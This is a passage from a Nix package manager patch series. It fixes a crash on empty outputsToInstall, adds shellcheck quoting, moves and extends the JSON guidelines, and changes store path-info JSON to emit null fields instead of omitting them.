	$ nix build --no-link --file default.nix --json nothing-to-install-no-out
	error: derivation '/nix/store/eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee-nothing-to-install-no-out.drv' does not have wanted outputs 'out'

Real-world example of this issue:

	$ nix build --json .#.legacyPackages.aarch64-linux.texlive.pkgs.iwona
	error: derivation '/nix/store/dj0h6b0pnlnan5nidnhqa0bmzq4rv6sx-iwona-0.995b.drv' does not have wanted outputs 'out'

	$ git rev-parse HEAD
	eee33247cf6941daea8398c976bd2dda7962b125
	$ nix build --json --file . texlive.pkgs.iwona
	nix: src/libstore/outputs-spec.hh:46: nix::OutputsSpec::Names::Names(std::set<std::__cxx11::basic_string<char> >&&): Assertion `!empty()' failed.
	Aborted (core dumped)
---
 src/libcmd/installable-attr-path.cc   | 2 ++
 tests/functional/build.sh             | 8 ++++++++
 tests/functional/multiple-outputs.nix | 6 ++++++
 3 files changed, 16 insertions(+)

diff --git a/src/libcmd/installable-attr-path.cc b/src/libcmd/installable-attr-path.cc
index 3ec1c161477..8917e7a018a 100644
--- a/src/libcmd/installable-attr-path.cc
+++ b/src/libcmd/installable-attr-path.cc
@@ -75,6 +75,8 @@ DerivedPathsWithInfo InstallableAttrPath::toDerivedPaths()
                 std::set<std::string> outputsToInstall;
                 for (auto & output : packageInfo.queryOutputs(false, true))
                     outputsToInstall.insert(output.first);
+                if (outputsToInstall.empty())
+                    outputsToInstall.insert("out");
                 return OutputsSpec::Names { std::move(outputsToInstall) };
             },
             [&](const ExtendedOutputsSpec::Explicit & e) -> OutputsSpec {
diff --git a/tests/functional/build.sh b/tests/functional/build.sh
index 9fb4357be8d..a14e6d672cd 100755
--- a/tests/functional/build.sh
+++ b/tests/functional/build.sh
@@ -45,6 +45,14 @@ nix build -f multiple-outputs.nix --json e --no-link | jq --exit-status '
     (.outputs | keys == ["a_a", "b"]))
 '
 
+# Tests that we can handle empty 'outputsToInstall' (assuming that default
+# output "out" exists).
+nix build -f multiple-outputs.nix --json nothing-to-install --no-link | jq --exit-status '
+  (.[0] |
+    (.drvPath | match(".*nothing-to-install.drv")) and
+    (.outputs | keys == ["out"]))
+'
+
 # But not when it's overriden.
 nix build -f multiple-outputs.nix --json e^a_a --no-link
 nix build -f multiple-outputs.nix --json e^a_a --no-link | jq --exit-status '
diff --git a/tests/functional/multiple-outputs.nix b/tests/functional/multiple-outputs.nix
index 413d392e42b..6ba7c523d8e 100644
--- a/tests/functional/multiple-outputs.nix
+++ b/tests/functional/multiple-outputs.nix
@@ -96,6 +96,12 @@ rec {
     buildCommand = "mkdir $a_a $b $c";
   };
 
+  nothing-to-install = mkDerivation {
+    name = "nothing-to-install";
+    meta.outputsToInstall = [ ];
+    buildCommand = "mkdir $out";
+  };
+
   independent = mkDerivation {
     name = "multiple-outputs-independent";
     outputs = [ "first" "second" ];

From 6a507f5d3bc47244d99544f14a81b78fc84eb2be Mon Sep 17 00:00:00 2001
From: Cameron Dart <8763518+SkamDart@users.noreply.github.com>
Date: Sun, 2 Jun 2024 13:41:51 -0700
Subject: [PATCH 231/528] housekeeping: shellcheck test/functional/add.sh

---
 maintainers/flake-module.nix |  1 -
 tests/functional/add.sh      | 14 +++++++-------
 2 files changed, 7 insertions(+), 8 deletions(-)

diff --git a/maintainers/flake-module.nix b/maintainers/flake-module.nix
index a42828208b0..3006d5e3080 100644
--- a/maintainers/flake-module.nix
+++ b/maintainers/flake-module.nix
@@ -507,7 +507,6 @@
             ''^scripts/install-nix-from-closure\.sh$''
             ''^scripts/install-systemd-multi-user\.sh$''
             ''^src/nix/get-env\.sh$''
-            ''^tests/functional/add\.sh$''
             ''^tests/functional/bash-profile\.sh$''
             ''^tests/functional/binary-cache-build-remote\.sh$''
             ''^tests/functional/binary-cache\.sh$''
diff --git a/tests/functional/add.sh b/tests/functional/add.sh
index 9b448e33b4f..a6cf88e1a4c 100755
--- a/tests/functional/add.sh
+++ b/tests/functional/add.sh
@@ -3,10 +3,10 @@
 source common.sh
 
 path1=$(nix-store --add ./dummy)
-echo $path1
+echo "$path1"
 
 path2=$(nix-store --add-fixed sha256 --recursive ./dummy)
-echo $path2
+echo "$path2"
 
 if test "$path1" != "$path2"; then
     echo "nix-store --add and --add-fixed mismatch"
@@ -14,18 +14,18 @@ if test "$path1" != "$path2"; then
 fi
 
 path3=$(nix-store --add-fixed sha256 ./dummy)
-echo $path3
+echo "$path3"
 test "$path1" != "$path3" || exit 1
 
 path4=$(nix-store --add-fixed sha1 --recursive ./dummy)
-echo $path4
+echo "$path4"
 test "$path1" != "$path4" || exit 1
 
-hash1=$(nix-store -q --hash $path1)
-echo $hash1
+hash1=$(nix-store -q --hash "$path1")
+echo "$hash1"
 
 hash2=$(nix-hash --type sha256 --base32 ./dummy)
-echo $hash2
+echo "$hash2"
 
 test "$hash1" = "sha256:$hash2"
 

From 25e2b1f7f7260057e05ce9f6853e90ada5e63ed1 Mon Sep 17 00:00:00 2001
From: Philipp Zander <philipp.zander@tweag.io>
Date: Mon, 3 Jun 2024 02:11:06 +0200
Subject: [PATCH 232/528] improve note in `nix_value_force` documentation

---
 src/libexpr-c/nix_api_expr.h  | 6 ++----
 src/libexpr-c/nix_api_value.h | 3 ++-
 2 files changed, 4 insertions(+), 5 deletions(-)

diff --git a/src/libexpr-c/nix_api_expr.h b/src/libexpr-c/nix_api_expr.h
index b026ea70bec..0d324b1489b 100644
--- a/src/libexpr-c/nix_api_expr.h
+++ b/src/libexpr-c/nix_api_expr.h
@@ -129,10 +129,8 @@ nix_err nix_value_call_multi(
  *
  * This function converts these Values into their final type.
  *
- * @note You don't need this function for basic API usage, since all functions
- * that return a value call it for you. The only place you will see a
- * NIX_TYPE_THUNK is in the arguments that are passed to a PrimOp function
- * you supplied to nix_alloc_primop.
+ * @note You don't need this function for basic API usage very often, since all functions that return a `Value` call it
+ * for you. This function is mainly needed before calling @ref getters.
  *
  * @param[out] context Optional, stores error information
  * @param[in] state The state of the evaluation.
diff --git a/src/libexpr-c/nix_api_value.h b/src/libexpr-c/nix_api_value.h
index f568b5c27a7..2448607073b 100644
--- a/src/libexpr-c/nix_api_value.h
+++ b/src/libexpr-c/nix_api_value.h
@@ -148,7 +148,8 @@ Value * nix_alloc_value(nix_c_context * context, EvalState * state);
  * @brief Functions to inspect and change Nix language values, represented by Value.
  * @{
  */
-/** @name Getters
+/** @anchor getters
+ * @name Getters
  */
 /**@{*/
 /** @brief Get value type

From 57aa901071aaf5fda08c18cd599ef78e08418315 Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Fri, 31 May 2024 11:08:37 -0400
Subject: [PATCH 233/528] manual: Put the JSON guideline on its own page

---
 doc/manual/src/SUMMARY.md.in                  |  1 +
 doc/manual/src/contributing/cli-guideline.md  | 82 -------------------
 doc/manual/src/contributing/json-guideline.md | 81 ++++++++++++++++++
 3 files changed, 82 insertions(+), 82 deletions(-)
 create mode 100644 doc/manual/src/contributing/json-guideline.md

diff --git a/doc/manual/src/SUMMARY.md.in b/doc/manual/src/SUMMARY.md.in
index 2516cc3dbe4..18e7e838005 100644
--- a/doc/manual/src/SUMMARY.md.in
+++ b/doc/manual/src/SUMMARY.md.in
@@ -121,6 +121,7 @@
   - [Documentation](contributing/documentation.md)
   - [Experimental Features](contributing/experimental-features.md)
   - [CLI guideline](contributing/cli-guideline.md)
+  - [JSON guideline](contributing/json-guideline.md)
   - [C++ style guide](contributing/cxx.md)
 - [Releases](release-notes/index.md)
 {{#include ./SUMMARY-rl-next.md}}
diff --git a/doc/manual/src/contributing/cli-guideline.md b/doc/manual/src/contributing/cli-guideline.md
index e90d6de8d99..23df844ec11 100644
--- a/doc/manual/src/contributing/cli-guideline.md
+++ b/doc/manual/src/contributing/cli-guideline.md
@@ -389,88 +389,6 @@ colors, no emojis and using ASCII instead of Unicode symbols). The same should
 happen when TTY is not detected on STDERR. We should not display progress /
 status section, but only print warnings and errors.
 
-## Returning future proof JSON
-
-The schema of JSON output should allow for backwards compatible extension. This section explains how to achieve this.
-
-Two definitions are helpful here, because while JSON only defines one "key-value"
-object type, we use it to cover two use cases:
-
- - **dictionary**: a map from names to value that all have the same type. In
-   C++ this would be a `std::map` with string keys.
- - **record**: a fixed set of attributes each with their own type. In C++, this
-   would be represented by a `struct`.
-
-It is best not to mix these use cases, as that may lead to incompatibilities when the schema changes. For example, adding a record field to a dictionary breaks consumers that assume all JSON object fields to have the same meaning and type.
-
-This leads to the following guidelines:
-
- - The top-level (root) value must be a record.
-
-   Otherwise, one can not change the structure of a command's output.
-
- - The value of a dictionary item must be a record.
-
-   Otherwise, the item type can not be extended.
-
- - List items should be records.
-
-   Otherwise, one can not change the structure of the list items.
-
-   If the order of the items does not matter, and each item has a unique key that is a string, consider representing the list as a dictionary instead. If the order of the items needs to be preserved, return a list of records.
-
- - Streaming JSON should return records.
-
-   An example of a streaming JSON format is [JSON lines](https://jsonlines.org/), where each line represents a JSON value. These JSON values can be considered top-level values or list items, and they must be records.
-
-### Examples
-
-
-This is bad, because all keys must be assumed to be store types:
-
-```json
-{
-  "local": { ... },
-  "remote": { ... },
-  "http": { ... }
-}
-```
-
-This is good, because the it is extensible at the root, and is somewhat self-documenting:
-
-```json
-{
-  "storeTypes": { "local": { ... }, ... },
-  "pluginSupport": true
-}
-```
-
-While the dictionary of store types seems like a very complete response at first, a use case may arise that warrants returning additional information.
-For example, the presence of plugin support may be crucial information for a client to proceed when their desired store type is missing.
-
-
-
-The following representation is bad because it is not extensible:
-
-```json
-{ "outputs": [ "out" "bin" ] }
-```
-
-However, simply converting everything to records is not enough, because the order of outputs must be preserved:
-
-```json
-{ "outputs": { "bin": {}, "out": {} } }
-```
-
-The first item is the default output. Deriving this information from the outputs ordering is not great, but this is how Nix currently happens to work.
-While it is possible for a JSON parser to preserve the order of fields, we can not rely on this capability to be present in all JSON libraries.
-
-This representation is extensible and preserves the ordering:
-
-```json
-{ "outputs": [ { "outputName": "out" }, { "outputName": "bin" } ] }
-```
-
 ## Dialog with the user
 
 CLIs don't always make it clear when an action has taken place. For every
diff --git a/doc/manual/src/contributing/json-guideline.md b/doc/manual/src/contributing/json-guideline.md
new file mode 100644
index 00000000000..a671cd66b71
--- /dev/null
+++ b/doc/manual/src/contributing/json-guideline.md
@@ -0,0 +1,81 @@
+## Returning future proof JSON
+
+The schema of JSON output should allow for backwards compatible extension. This section explains how to achieve this.
+
+Two definitions are helpful here, because while JSON only defines one "key-value"
+object type, we use it to cover two use cases:
+
+ - **dictionary**: a map from names to value that all have the same type. In
+   C++ this would be a `std::map` with string keys.
+ - **record**: a fixed set of attributes each with their own type. In C++, this
+   would be represented by a `struct`.
+
+It is best not to mix these use cases, as that may lead to incompatibilities when the schema changes. For example, adding a record field to a dictionary breaks consumers that assume all JSON object fields to have the same meaning and type.
+
+This leads to the following guidelines:
+
+ - The top-level (root) value must be a record.
+
+   Otherwise, one can not change the structure of a command's output.
+
+ - The value of a dictionary item must be a record.
+
+   Otherwise, the item type can not be extended.
+
+ - List items should be records.
+
+   Otherwise, one can not change the structure of the list items.
+
+   If the order of the items does not matter, and each item has a unique key that is a string, consider representing the list as a dictionary instead. If the order of the items needs to be preserved, return a list of records.
+
+ - Streaming JSON should return records.
+
+   An example of a streaming JSON format is [JSON lines](https://jsonlines.org/), where each line represents a JSON value. These JSON values can be considered top-level values or list items, and they must be records.
+
+### Examples
+
+
+This is bad, because all keys must be assumed to be store types:
+
+```json
+{
+  "local": { ... },
+  "remote": { ... },
+  "http": { ... }
+}
+```
+
+This is good, because the it is extensible at the root, and is somewhat self-documenting:
+
+```json
+{
+  "storeTypes": { "local": { ... }, ... },
+  "pluginSupport": true
+}
+```
+
+While the dictionary of store types seems like a very complete response at first, a use case may arise that warrants returning additional information.
+For example, the presence of plugin support may be crucial information for a client to proceed when their desired store type is missing.
+
+
+
+The following representation is bad because it is not extensible:
+
+```json
+{ "outputs": [ "out" "bin" ] }
+```
+
+However, simply converting everything to records is not enough, because the order of outputs must be preserved:
+
+```json
+{ "outputs": { "bin": {}, "out": {} } }
+```
+
+The first item is the default output. Deriving this information from the outputs ordering is not great, but this is how Nix currently happens to work.
+While it is possible for a JSON parser to preserve the order of fields, we can not rely on this capability to be present in all JSON libraries.
+
+This representation is extensible and preserves the ordering:
+
+```json
+{ "outputs": [ { "outputName": "out" }, { "outputName": "bin" } ] }
+```

From c50e14276e79f9effae2f8af9d6f6c41ce8cb503 Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Fri, 31 May 2024 17:28:07 -0400
Subject: [PATCH 234/528] manual: Extend JSON guidlines with optional field
 info

Co-authored-by: Robert Hensing <roberth@users.noreply.github.com>
Co-authored-by: Valentin Gagarin <valentin.gagarin@tweag.io>
---
 doc/manual/src/contributing/json-guideline.md | 71 +++++++++++++++----
 1 file changed, 59 insertions(+), 12 deletions(-)

diff --git a/doc/manual/src/contributing/json-guideline.md b/doc/manual/src/contributing/json-guideline.md
index a671cd66b71..b4bc92af961 100644
--- a/doc/manual/src/contributing/json-guideline.md
+++ b/doc/manual/src/contributing/json-guideline.md
@@ -1,16 +1,23 @@
-## Returning future proof JSON
+# JSON guideline
 
-The schema of JSON output should allow for backwards compatible extension. This section explains how to achieve this.
+Nix consumes and produces JSON in a variety of contexts.
+These guidelines ensure consistent practices for all our JSON interfaces, for ease of use, and so that experience in one part carries over to another.
 
-Two definitions are helpful here, because while JSON only defines one "key-value"
-object type, we use it to cover two use cases:
+## Extensibility
 
- - **dictionary**: a map from names to value that all have the same type. In
-   C++ this would be a `std::map` with string keys.
- - **record**: a fixed set of attributes each with their own type. In C++, this
-   would be represented by a `struct`.
+The schema of JSON input and output should allow for backwards compatible extension.
+This section explains how to achieve this.
 
-It is best not to mix these use cases, as that may lead to incompatibilities when the schema changes. For example, adding a record field to a dictionary breaks consumers that assume all JSON object fields to have the same meaning and type.
+Two definitions are helpful here, because while JSON only defines one "key-value" object type, we use it to cover two use cases:
+
+ - **dictionary**: a map from names to value that all have the same type.
+   In C++ this would be a `std::map` with string keys.
+
+ - **record**: a fixed set of attributes each with their own type.
+   In C++, this would be represented by a `struct`.
+
+It is best not to mix these use cases, as that may lead to incompatibilities when the schema changes.
+For example, adding a record field to a dictionary breaks consumers that assume all JSON object fields to have the same meaning and type, and dictionary items with a colliding name can not be represented anymore.
 
 This leads to the following guidelines:
 
@@ -26,15 +33,16 @@ This leads to the following guidelines:
 
    Otherwise, one can not change the structure of the list items.
 
-   If the order of the items does not matter, and each item has a unique key that is a string, consider representing the list as a dictionary instead. If the order of the items needs to be preserved, return a list of records.
+   If the order of the items does not matter, and each item has a unique key that is a string, consider representing the list as a dictionary instead.
+   If the order of the items needs to be preserved, return a list of records.
 
  - Streaming JSON should return records.
 
-   An example of a streaming JSON format is [JSON lines](https://jsonlines.org/), where each line represents a JSON value. These JSON values can be considered top-level values or list items, and they must be records.
+   An example of a streaming JSON format is [JSON lines](https://jsonlines.org/), where each line represents a JSON value.
+   These JSON values can be considered top-level values or list items, and they must be records.
 
 ### Examples
 
-
 This is bad, because all keys must be assumed to be store types:
 
 ```json
@@ -79,3 +87,42 @@ This representation is extensible and preserves the ordering:
 ```json
 { "outputs": [ { "outputName": "out" }, { "outputName": "bin" } ] }
 ```
+
+## Self-describing values
+
+As described in the previous section, it's crucial that schemas can be extended with with new fields without breaking compatibility.
+However, that should *not* mean we use the presence/absence of fields to indicate optional information *within* a version of the schema.
+Instead, always include the field, and use `null` to indicate the "nothing" case.
+
+### Examples
+
+Here are two JSON objects:
+
+```json
+{
+  "foo": {}
+}
+```
+```json
+{
+  "foo": {},
+  "bar": {}
+}
+```
+
+Since they differ in which fields they contain, they should *not* both be valid values of the same schema.
+At most, they can match two different schemas where the second (with `foo` and `bar`) is considered a newer version of the first (with just `foo`).
+Within each version, all fields are mandatory (always `foo`, and always `foo` and `bar`).
+Only *between* each version, `bar` gets added as a new mandatory field.
+
+Here are another two JSON objects:
+
+```json
+{ "foo": null }
+```
+```json
+{ "foo": { "bar": 1 } }
+```
+
+Since they both contain a `foo` field, they could be valid values of the same schema.
+The schema would have `foo` has an optional field, which is either `null` or an object where `bar` is an integer.

From 213a7a87b484d989d72fb233a47ecbb326b4ae32 Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Fri, 31 May 2024 11:01:22 -0400
Subject: [PATCH 235/528] Decouple within-build (structured attrs) and unstable
 CLI path info JSON

See code comment for details.

Co-authored-by: Robert Hensing <roberth@users.noreply.github.com>
---
 src/libstore/parsed-derivations.cc | 25 ++++++++++++++++++++++---
 1 file changed, 22 insertions(+), 3 deletions(-)

diff --git a/src/libstore/parsed-derivations.cc b/src/libstore/parsed-derivations.cc
index a292819539c..d8459d4d71c 100644
--- a/src/libstore/parsed-derivations.cc
+++ b/src/libstore/parsed-derivations.cc
@@ -135,18 +135,37 @@ static std::regex shVarName("[A-Za-z_][A-Za-z0-9_]*");
 /**
  * Write a JSON representation of store object metadata, such as the
  * hash and the references.
+ *
+ * @note Do *not* use `ValidPathInfo::toJSON` because this function is
+ * subject to stronger stability requirements since it is used to
+ * prepare build environments. Perhaps someday we'll have a versionining
+ * mechanism to allow this to evolve again and get back in sync, but for
+ * now we must not change - not even extend - the behavior.
  */
 static nlohmann::json pathInfoToJSON(
     Store & store,
     const StorePathSet & storePaths)
 {
-    nlohmann::json::array_t jsonList = nlohmann::json::array();
+    using nlohmann::json;
+
+    nlohmann::json::array_t jsonList = json::array();
 
     for (auto & storePath : storePaths) {
         auto info = store.queryPathInfo(storePath);
 
-        auto & jsonPath = jsonList.emplace_back(
-            info->toJSON(store, false, HashFormat::Nix32));
+        auto & jsonPath = jsonList.emplace_back(json::object());
+
+        jsonPath["narHash"] = info->narHash.to_string(HashFormat::Nix32, true);
+        jsonPath["narSize"] = info->narSize;
+
+        {
+            auto & jsonRefs = jsonPath["references"] = json::array();
+            for (auto & ref : info->references)
+                jsonRefs.emplace_back(store.printStorePath(ref));
+        }
+
+        if (info->ca)
+            jsonPath["ca"] = renderContentAddress(info->ca);
 
         // Add the path to the object whose metadata we are including.
         jsonPath["path"] = store.printStorePath(storePath);

From 84c65135a5059515d423a1b7d71921f4725e4c4c Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Mon, 12 Feb 2024 10:51:20 -0500
Subject: [PATCH 236/528] `ValidPathInfo` JSON format should use `null` not
 omit field

Co-authored-by: Robert Hensing <roberth@users.noreply.github.com>
Co-authored-by: Robert Hensing <roberth@users.noreply.github.com>
---
 doc/manual/rl-next/store-object-info.md       | 11 ++++++
 doc/manual/src/glossary.md                    |  7 ++--
 .../src/protocols/json/store-object-info.md   | 22 +++++++-----
 src/libstore/path-info.cc                     | 34 +++++++++----------
 src/libutil/json-utils.cc                     |  7 ++--
 src/libutil/json-utils.hh                     |  2 +-
 tests/functional/signing.sh                   | 22 ++++++------
 .../libstore/data/path-info/empty_impure.json | 10 ++++++
 .../libstore/data/path-info/empty_pure.json   |  6 ++++
 tests/unit/libstore/path-info.cc              | 24 +++++++++----
 tests/unit/libutil/json-utils.cc              |  7 ++--
 11 files changed, 98 insertions(+), 54 deletions(-)
 create mode 100644 doc/manual/rl-next/store-object-info.md
 create mode 100644 tests/unit/libstore/data/path-info/empty_impure.json
 create mode 100644 tests/unit/libstore/data/path-info/empty_pure.json

diff --git a/doc/manual/rl-next/store-object-info.md b/doc/manual/rl-next/store-object-info.md
new file mode 100644
index 00000000000..ab8f5fec07b
--- /dev/null
+++ b/doc/manual/rl-next/store-object-info.md
@@ -0,0 +1,11 @@
+---
+synopsis: Store object info JSON format now uses `null` rather than omitting fields.
+prs: 9995
+---
+
+The [store object info JSON format](@docroot@/protocols/json/store-object-info.md), used for e.g. `nix path-info`, no longer omits fields to indicate absent information, but instead includes the fields with a `null` value.
+For example, `"ca": null` is used to to indicate a store object that isn't content-addressed rather than omitting the `ca` field entirely.
+This makes records of this sort more self-describing, and easier to consume programmatically.
+
+We will follow this design principle going forward;
+the [JSON guidelines](@docroot@/contributing/json-guideline.md) in the contributing section have been updated accordingly.
diff --git a/doc/manual/src/glossary.md b/doc/manual/src/glossary.md
index 080b25d30ed..55ad9e1c2f0 100644
--- a/doc/manual/src/glossary.md
+++ b/doc/manual/src/glossary.md
@@ -12,7 +12,7 @@
   For how Nix uses content addresses, see:
 
     - [Content-Addressing File System Objects](@docroot@/store/file-system-object/content-address.md)
-    - [content-addressed store object](#gloss-content-addressed-store-object)
+    - [Content-Addressing Store Objects](@docroot@/store/store-object/content-address.md)
     - [content-addressed derivation](#gloss-content-addressed-derivation)
 
   Software Heritage's writing on [*Intrinsic and Extrinsic identifiers*](https://www.softwareheritage.org/2020/07/09/intrinsic-vs-extrinsic-identifiers) is also a good introduction to the value of content-addressing over other referencing schemes.
@@ -137,9 +137,12 @@
 
 - [content-addressed store object]{#gloss-content-addressed-store-object}
 
-  A [store object] whose [store path] is determined by its contents.
+  A [store object] which is [content-addressed](#gloss-content-address),
+  i.e. whose [store path] is determined by its contents.
   This includes derivations, the outputs of [content-addressed derivations](#gloss-content-addressed-derivation), and the outputs of [fixed-output derivations](#gloss-fixed-output-derivation).
 
+  See [Content-Addressing Store Objects](@docroot@/store/store-object/content-address.md) for details.
+
 - [substitute]{#gloss-substitute}
 
   A substitute is a command invocation stored in the [Nix database] that
diff --git a/doc/manual/src/protocols/json/store-object-info.md b/doc/manual/src/protocols/json/store-object-info.md
index 22a14715fae..9f647a96c24 100644
--- a/doc/manual/src/protocols/json/store-object-info.md
+++ b/doc/manual/src/protocols/json/store-object-info.md
@@ -24,9 +24,11 @@ Info about a [store object].
 
   An array of [store paths][store path], possibly including this one.
 
-* `ca` (optional):
+* `ca`:
 
-  Content address of this store object's file system object, used to compute its store path.
+  If the store object is [content-addressed],
+  this is the content address of this store object's file system object, used to compute its store path.
+  Otherwise (i.e. if it is [input-addressed]), this is `null`.
 
 [store path]: @docroot@/store/store-path.md
 [file system object]: @docroot@/store/file-system-object.md
@@ -37,28 +39,30 @@ Info about a [store object].
 These are not intrinsic properties of the store object.
 In other words, the same store object residing in different store could have different values for these properties.
 
-* `deriver` (optional):
+* `deriver`:
 
-  The path to the [derivation] from which this store object is produced.
+  If known, the path to the [derivation] from which this store object was produced.
+  Otherwise `null`.
 
   [derivation]: @docroot@/glossary.md#gloss-store-derivation
 
 * `registrationTime` (optional):
 
-  When this derivation was added to the store.
+  If known, when this derivation was added to the store.
+  Otherwise `null`.
 
-* `ultimate` (optional):
+* `ultimate`:
 
   Whether this store object is trusted because we built it ourselves, rather than substituted a build product from elsewhere.
 
-* `signatures` (optional):
+* `signatures`:
 
   Signatures claiming that this store object is what it claims to be.
   Not relevant for [content-addressed] store objects,
   but useful for [input-addressed] store objects.
 
-  [content-addressed]: @docroot@/glossary.md#gloss-content-addressed-store-object
-  [input-addressed]: @docroot@/glossary.md#gloss-input-addressed-store-object
+[content-addressed]: @docroot@/store/store-object/content-address.md
+[input-addressed]: @docroot@/glossary.md#gloss-input-addressed-store-object
 
 ### `.narinfo` extra fields
 
diff --git a/src/libstore/path-info.cc b/src/libstore/path-info.cc
index 6523cb4258a..ddd7f50d9fc 100644
--- a/src/libstore/path-info.cc
+++ b/src/libstore/path-info.cc
@@ -161,28 +161,23 @@ nlohmann::json UnkeyedValidPathInfo::toJSON(
     jsonObject["narSize"] = narSize;
 
     {
-        auto& jsonRefs = (jsonObject["references"] = json::array());
+        auto & jsonRefs = jsonObject["references"] = json::array();
         for (auto & ref : references)
             jsonRefs.emplace_back(store.printStorePath(ref));
     }
 
-    if (ca)
-        jsonObject["ca"] = renderContentAddress(ca);
+    jsonObject["ca"] = ca ? (std::optional { renderContentAddress(*ca) }) : std::nullopt;
 
     if (includeImpureInfo) {
-        if (deriver)
-            jsonObject["deriver"] = store.printStorePath(*deriver);
+        jsonObject["deriver"] = deriver ? (std::optional { store.printStorePath(*deriver) }) : std::nullopt;
 
-        if (registrationTime)
-            jsonObject["registrationTime"] = registrationTime;
+        jsonObject["registrationTime"] = registrationTime ? (std::optional { registrationTime }) : std::nullopt;
 
-        if (ultimate)
-            jsonObject["ultimate"] = ultimate;
+        jsonObject["ultimate"] = ultimate;
 
-        if (!sigs.empty()) {
-            for (auto & sig : sigs)
-                jsonObject["signatures"].push_back(sig);
-        }
+        auto & sigsObj = jsonObject["signatures"] = json::array();
+        for (auto & sig : sigs)
+            sigsObj.push_back(sig);
     }
 
     return jsonObject;
@@ -210,20 +205,25 @@ UnkeyedValidPathInfo UnkeyedValidPathInfo::fromJSON(
         throw;
     }
 
+    // New format as this as nullable but mandatory field; handling
+    // missing is for back-compat.
     if (json.contains("ca"))
-        res.ca = ContentAddress::parse(getString(valueAt(json, "ca")));
+        if (auto * rawCa = getNullable(valueAt(json, "ca")))
+            res.ca = ContentAddress::parse(getString(*rawCa));
 
     if (json.contains("deriver"))
-        res.deriver = store.parseStorePath(getString(valueAt(json, "deriver")));
+        if (auto * rawDeriver = getNullable(valueAt(json, "deriver")))
+            res.deriver = store.parseStorePath(getString(*rawDeriver));
 
     if (json.contains("registrationTime"))
-        res.registrationTime = getInteger(valueAt(json, "registrationTime"));
+        if (auto * rawRegistrationTime = getNullable(valueAt(json, "registrationTime")))
+            res.registrationTime = getInteger(*rawRegistrationTime);
 
     if (json.contains("ultimate"))
         res.ultimate = getBoolean(valueAt(json, "ultimate"));
 
     if (json.contains("signatures"))
-        res.sigs = valueAt(json, "signatures");
+        res.sigs = getStringSet(valueAt(json, "signatures"));
 
     return res;
 }
diff --git a/src/libutil/json-utils.cc b/src/libutil/json-utils.cc
index 1b911bf75eb..dff068e07c5 100644
--- a/src/libutil/json-utils.cc
+++ b/src/libutil/json-utils.cc
@@ -39,12 +39,9 @@ std::optional<nlohmann::json> optionalValueAt(const nlohmann::json::object_t & m
 }
 
 
-std::optional<nlohmann::json> getNullable(const nlohmann::json & value)
+const nlohmann::json * getNullable(const nlohmann::json & value)
 {
-    if (value.is_null())
-        return std::nullopt;
-
-    return value.get<nlohmann::json>();
+    return value.is_null() ? nullptr : &value;
 }
 
 /**
diff --git a/src/libutil/json-utils.hh b/src/libutil/json-utils.hh
index 08c98cc8c0d..fe7a406cf91 100644
--- a/src/libutil/json-utils.hh
+++ b/src/libutil/json-utils.hh
@@ -29,7 +29,7 @@ std::optional<nlohmann::json> optionalValueAt(const nlohmann::json::object_t & v
  * Downcast the json object, failing with a nice error if the conversion fails.
  * See https://json.nlohmann.me/features/types/
  */
-std::optional<nlohmann::json> getNullable(const nlohmann::json & value);
+const nlohmann::json * getNullable(const nlohmann::json & value);
 const nlohmann::json::object_t & getObject(const nlohmann::json & value);
 const nlohmann::json::array_t & getArray(const nlohmann::json & value);
 const nlohmann::json::string_t & getString(const nlohmann::json & value);
diff --git a/tests/functional/signing.sh b/tests/functional/signing.sh
index bcbd3b675d2..cf84ab37708 100755
--- a/tests/functional/signing.sh
+++ b/tests/functional/signing.sh
@@ -15,9 +15,9 @@ outPath=$(nix-build dependencies.nix --no-out-link --secret-key-files "$TEST_ROO
 
 # Verify that the path got signed.
 info=$(nix path-info --json $outPath)
-[[ $info =~ '"ultimate":true' ]]
-[[ $info =~ 'cache1.example.org' ]]
-[[ $info =~ 'cache2.example.org' ]]
+echo $info | jq -e '.[] | .ultimate == true'
+echo $info | jq -e '.[] | .signatures.[] | select(startswith("cache1.example.org"))'
+echo $info | jq -e '.[] | .signatures.[] | select(startswith("cache2.example.org"))'
 
 # Test "nix store verify".
 nix store verify -r $outPath
@@ -39,8 +39,8 @@ nix store verify -r $outPath
 
 # Verify that the path did not get signed but does have the ultimate bit.
 info=$(nix path-info --json $outPath2)
-[[ $info =~ '"ultimate":true' ]]
-(! [[ $info =~ 'signatures' ]])
+echo $info | jq -e '.[] | .ultimate == true'
+echo $info | jq -e '.[] | .signatures == []'
 
 # Test "nix store verify".
 nix store verify -r $outPath2
@@ -57,7 +57,7 @@ nix store verify -r $outPath2 --sigs-needed 1 --trusted-public-keys $pk1
 # Build something content-addressed.
 outPathCA=$(IMPURE_VAR1=foo IMPURE_VAR2=bar nix-build ./fixed.nix -A good.0 --no-out-link)
 
-[[ $(nix path-info --json $outPathCA) =~ '"ca":"fixed:md5:' ]]
+nix path-info --json $outPathCA | jq -e '.[] | .ca | startswith("fixed:md5:")'
 
 # Content-addressed paths don't need signatures, so they verify
 # regardless of --sigs-needed.
@@ -73,15 +73,15 @@ nix copy --to file://$cacheDir $outPath2
 
 # Verify that signatures got copied.
 info=$(nix path-info --store file://$cacheDir --json $outPath2)
-(! [[ $info =~ '"ultimate":true' ]])
-[[ $info =~ 'cache1.example.org' ]]
-(! [[ $info =~ 'cache2.example.org' ]])
+echo $info | jq -e '.[] | .ultimate == false'
+echo $info | jq -e '.[] | .signatures.[] | select(startswith("cache1.example.org"))'
+echo $info | expect 4 jq -e '.[] | .signatures.[] | select(startswith("cache2.example.org"))'
 
 # Verify that adding a signature to a path in a binary cache works.
 nix store sign --store file://$cacheDir --key-file $TEST_ROOT/sk2 $outPath2
 info=$(nix path-info --store file://$cacheDir --json $outPath2)
-[[ $info =~ 'cache1.example.org' ]]
-[[ $info =~ 'cache2.example.org' ]]
+echo $info | jq -e '.[] | .signatures.[] | select(startswith("cache1.example.org"))'
+echo $info | jq -e '.[] | .signatures.[] | select(startswith("cache2.example.org"))'
 
 # Copying to a diverted store should fail due to a lack of signatures by trusted keys.
 chmod -R u+w $TEST_ROOT/store0 || true
diff --git a/tests/unit/libstore/data/path-info/empty_impure.json b/tests/unit/libstore/data/path-info/empty_impure.json
new file mode 100644
index 00000000000..be982dcef85
--- /dev/null
